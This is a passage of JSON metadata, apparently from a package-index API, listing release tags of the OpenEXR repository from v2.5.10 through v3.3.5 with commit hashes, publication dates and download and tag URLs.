hed_at":"2025-07-26T17:44:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5/manifests","release_url":null},{"name":"v3.3.5-rc3","sha":"f065cb3796a104a9e17379c2e1ee2cddec08a4e6","kind":"tag","published_at":"2025-07-23T20:02:21.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.5-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.5-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.5-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc3/manifests","release_url":null},{"name":"v3.3.5-rc2","sha":"e988195e5ccc95c9818f8a9aae9bab37fe76514d","kind":"tag","published_at":"2025-07-23T19:20:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.5-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.5-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.5-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc2/manifests","release_url":null},{"name":"v3.3.5-rc","sha":"a6d01ef494a45379c6902b9e4f8c9a1d21c3a1cd","kind":"tag","published_at":"2025-07-23T17:44:18.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.5-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.5-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.5-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.5-rc/manifests","release_url":null},{"name":"v3.3.4","sha":"7ec1cf59a0409d9d5c60ed111da9831890fa8296","kind":"tag","published_at":"2025-06-09T01:23:09.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.4/manifests","release_url":null},{"name":"v3.3.4-rc","sha":"7ec1cf59a0409d9d5c60ed111da9831890fa8296","kind":"commit","published_at":"2025-05-29T03:05:05.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.4-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.4-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.4-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.4-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.4-rc/manifests","release_url":null},{"name":"v3.3.3","sha":"da760aa4b6bee4b9d74b8c6a151221b035fc47b7","kind":"tag","published_at":"2025-03-24T03:48:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3/manifests","release_url":null},{"name":"v3.3.3-rc1","sha":"da760aa4b6bee4b9d74b8c6a151221b035fc47b7","kind":"tag","published_at":"2025-03-22T16:09:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.3-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.3-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3-rc1/manifests","release_url":null},{"name":"v3.3.3-rc","sha":"f8fc023a290f42e36b9521a0b7710f7fe43191a4","kind":"commit","published_at":"2025-03-20T03:02:54.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.3-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.3-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.3-rc/manifests","release_url":null},{"name":"v3.3.2","sha":"55d1a1404cec5b4b187009d9f7fe55a5622ac4e5","kind":"tag","published_at":"2024-11-11T15:52:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2/manifests","release_url":null},{"name":"v3.3.2-rc4","sha":"55d1a1404cec5b4b187009d9f7fe55a5622ac4e5","kind":"commit","published_at":"2024-11-11T15:49:52.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.2-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.2-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.2-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc4/manifests","release_url":null},{"name":"v3.3.2-rc3","sha":"e4190b0bab125e7da2d26aba2ec1ff10b5dd2fb4","kind":"commit","published_at":"2024-11-08T22:14:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.2-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.2-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.2-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc3/manifests","release_url":null},{"name":"v3.3.2-rc2","sha":"668cf9729e73cfa0d5832f398aea56eb1ad18cd9","kind":"commit","published_at":"2024-11-03T21:49:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.2-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.2-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.2-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc2/manifests","release_url":null},{"name":"v3.3.2-rc","sha":"668cf9729e73cfa0d5832f398aea56eb1ad18cd9","kind":"commit","published_at":"2024-11-03T21:49:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.2-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.2-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.2-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.2-rc/manifests","release_url":null},{"name":"v3.3.1","sha":"f723c3940fff287c0a26b425b90a8e764823bfd4","kind":"tag","published_at":"2024-10-09T03:30:28.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.1/manifests","release_url":null},{"name":"v3.3.1-rc","sha":"f723c3940fff287c0a26b425b90a8e764823bfd4","kind":"tag","published_at":"2024-10-06T17:33:13.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.1-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.1-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.1-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.1-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.1-rc/manifests","release_url":null},{"name":"v3.3.0","sha":"c7d3eac70ccde2c4ed484c6638b83ba872f71464","kind":"tag","published_at":"2024-09-30T16:02:39.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0/manifests","release_url":null},{"name":"v3.3.0-rc2","sha":"c7d3eac70ccde2c4ed484c6638b83ba872f71464","kind":"tag","published_at":"2024-09-26T23:35:15.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.0-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc2/manifests","release_url":null},{"name":"v3.3.0-rc1","sha":"3f4e79ee8dfa387b8b9da3563d4cf9780a922397","kind":"commit","published_at":"2024-09-24T23:16:29.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.0-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc1/manifests","release_url":null},{"name":"v3.3.0-rc","sha":"4510b5fb316c231c4107ded8fd4ac892fe31d5a1","kind":"commit","published_at":"2024-09-24T20:34:12.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.0-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.0-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.0-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.0-rc/manifests","release_url":null},{"name":"v3.2.4","sha":"a1a00ffeecf627bbbc010d40700720bee48b2af7","kind":"tag","published_at":"2024-03-26T16:47:43.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4/manifests","release_url":null},{"name":"v3.1.13","sha":"fad1d1a9dc188aceabbea1313580d73b7236b79b","kind":"tag","published_at":"2024-03-26T16:43:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.13","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.13/manifests","release_url":null},{"name":"v3.2.4-rc2","sha":"a1a00ffeecf627bbbc010d40700720bee48b2af7","kind":"commit","published_at":"2024-03-25T18:27:30.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.4-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.4-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.4-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4-rc2/manifests","release_url":null},{"name":"v3.2.4-rc","sha":"7239a2652f1c7c6223b211cdd22253dddbb297c0","kind":"commit","published_at":"2024-03-23T19:48:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.4-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.4-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.4-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.4-rc/manifests","release_url":null},{"name":"v3.1.13-rc","sha":"fad1d1a9dc188aceabbea1313580d73b7236b79b","kind":"commit","published_at":"2024-03-23T18:46:13.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.13-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.13-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.13-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.13-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.13-rc/manifests","release_url":null},{"name":"v3.2.3","sha":"e4b8d0226ad88f58b19936c79b9998c2f73d2cfa","kind":"tag","published_at":"2024-03-07T00:40:00.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3/manifests","release_url":null},{"name":"v3.2.3-rc2","sha":"e4b8d0226ad88f58b19936c79b9998c2f73d2cfa","kind":"commit","published_at":"2024-03-07T00:38:54.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.3-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.3-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.3-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3-rc2/manifests","release_url":null},{"name":"v3.2.3-rc","sha":"d5c8b71dbea5bb1fdb6a1f4b2e6e0186b9b3c954","kind":"commit","published_at":"2024-03-04T17:02:33.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.3-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.3-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.3-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.3-rc/manifests","release_url":null},{"name":"v3.2.2","sha":"7adf2c8f6f11c650c304e70d286b49c1d5d55abb","kind":"tag","published_at":"2024-02-12T04:14:48.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2/manifests","release_url":null},{"name":"v3.1.12","sha":"3b0d18cb95e3726f0281a2e9dfae9ca663f2e576","kind":"tag","published_at":"2024-02-12T03:53:16.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.12","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12/manifests","release_url":null},{"name":"v3.2.2-rc2","sha":"c0208feee9fb950d8b639e5dd8882bb46a27ec31","kind":"commit","published_at":"2024-02-10T19:17:34.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.2-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.2-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.2-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2-rc2/manifests","release_url":null},{"name":"v3.1.12-rc4","sha":"3b0d18cb95e3726f0281a2e9dfae9ca663f2e576","kind":"commit","published_at":"2024-02-10T19:07:33.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.12-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.12-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.12-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc4/manifests","release_url":null},{"name":"v3.2.2-rc","sha":"280606593fce7904ebf7d916c0e6756c9384382d","kind":"commit","published_at":"2024-02-04T20:34:04.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.2-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.2-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.2-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.2-rc/manifests","release_url":null},{"name":"v3.1.12-rc3","sha":"1c3a2ffecaedc81b19afb0d592955f819519a04e","kind":"commit","published_at":"2024-02-04T20:19:37.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.12-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.12-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.12-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc3/manifests","release_url":null},{"name":"v3.1.12-rc2","sha":"0a444075e9664327a5d89f0f471d226c412010ac","kind":"commit","published_at":"2024-02-04T20:13:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.12-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.12-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.12-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc2/manifests","release_url":null},{"name":"v3.1.12-rc","sha":"2d867567272d3f91472444bc54fed0a2140f1329","kind":"commit","published_at":"2024-02-04T20:02:04.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.12-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.12-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.12-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.12-rc/manifests","release_url":null},{"name":"v2.5.10-rc","sha":"b6eeef0de09e80d4858fa6ee4a699eef2c9613b5","kind":"commit","published_at":"2023-12-18T23:45:41.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.10-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.10-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.10-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.10-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.10-rc/manifests","release_url":null},{"name":"v2.5.10","sha":"b6eeef0de09e80d4858fa6ee4a699eef2c9613b5","kind":"commit","published_at":"2023-12-18T23:45:41.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.10","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.10/manifests","release_url":null},{"name":"v3.2.1","sha":"737b2707a001e67f3812d86a639c3d037efe2ea8","kind":"commit","published_at":"2023-09-25T02:46:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.1/manifests","release_url":null},{"name":"v3.2.1-rc","sha":"737b2707a001e67f3812d86a639c3d037efe2ea8","kind":"commit","published_at":"2023-09-25T02:46:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.1-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.1-rc","dependenci